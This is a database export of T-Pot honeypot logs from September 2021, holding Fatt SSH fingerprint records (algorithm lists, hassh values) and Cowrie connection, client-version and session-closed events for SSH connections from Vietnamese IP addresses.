23072	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:18.308393+03	2021-09-20 14:15:07.035471+03	{"_id": "cAbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54308, "timestamp": "2021-09-20T11:07:18.308393", "@timestamp": "2021-09-20T11:07:18.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23126	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.236818+03	2021-09-20 14:15:07.103473+03	{"_id": "-gbjAnwBvYTbRNuEcAea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:38188 (192.168.176.2:22) [session: d3cb8bf37f97]", "session": "d3cb8bf37f97", "@version": "1", "protocol": "ssh", "src_port": 38188, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.236818Z", "@timestamp": "2021-09-20T11:07:11.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23073	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:18.308576+03	2021-09-20 14:15:07.036471+03	{"_id": "cQbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54308, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.308576", "@timestamp": "2021-09-20T11:07:18.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23074	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:18.361446+03	2021-09-20 14:15:07.03847+03	{"_id": "cgbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51570, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.361446", "@timestamp": "2021-09-20T11:07:18.361Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23075	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:18.476472+03	2021-09-20 14:15:07.039471+03	{"_id": "cwbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43956, "timestamp": "2021-09-20T11:07:18.476472", "@timestamp": "2021-09-20T11:07:18.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23076	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:18.722708+03	2021-09-20 14:15:07.04047+03	{"_id": "dAbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39548, "timestamp": "2021-09-20T11:07:18.722708", "@timestamp": "2021-09-20T11:07:18.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23148	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:09.852021+03	2021-09-20 14:15:07.131472+03	{"_id": "lwbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "edf7e33fbfde", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:09.852021Z", "@timestamp": "2021-09-20T11:07:09.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23077	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:18.72357+03	2021-09-20 14:15:07.042471+03	{"_id": "dQbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39548, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.723570", "@timestamp": "2021-09-20T11:07:18.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23078	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:18.85484+03	2021-09-20 14:15:07.04347+03	{"_id": "dgbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46342, "timestamp": "2021-09-20T11:07:18.854840", "@timestamp": "2021-09-20T11:07:18.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23079	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.29655+03	2021-09-20 14:15:07.044471+03	{"_id": "dwbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8d4910fd90f3", "@version": "1", "duration": 2.468418836593628, "timestamp": "2021-09-20T11:07:18.296550Z", "@timestamp": "2021-09-20T11:07:18.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
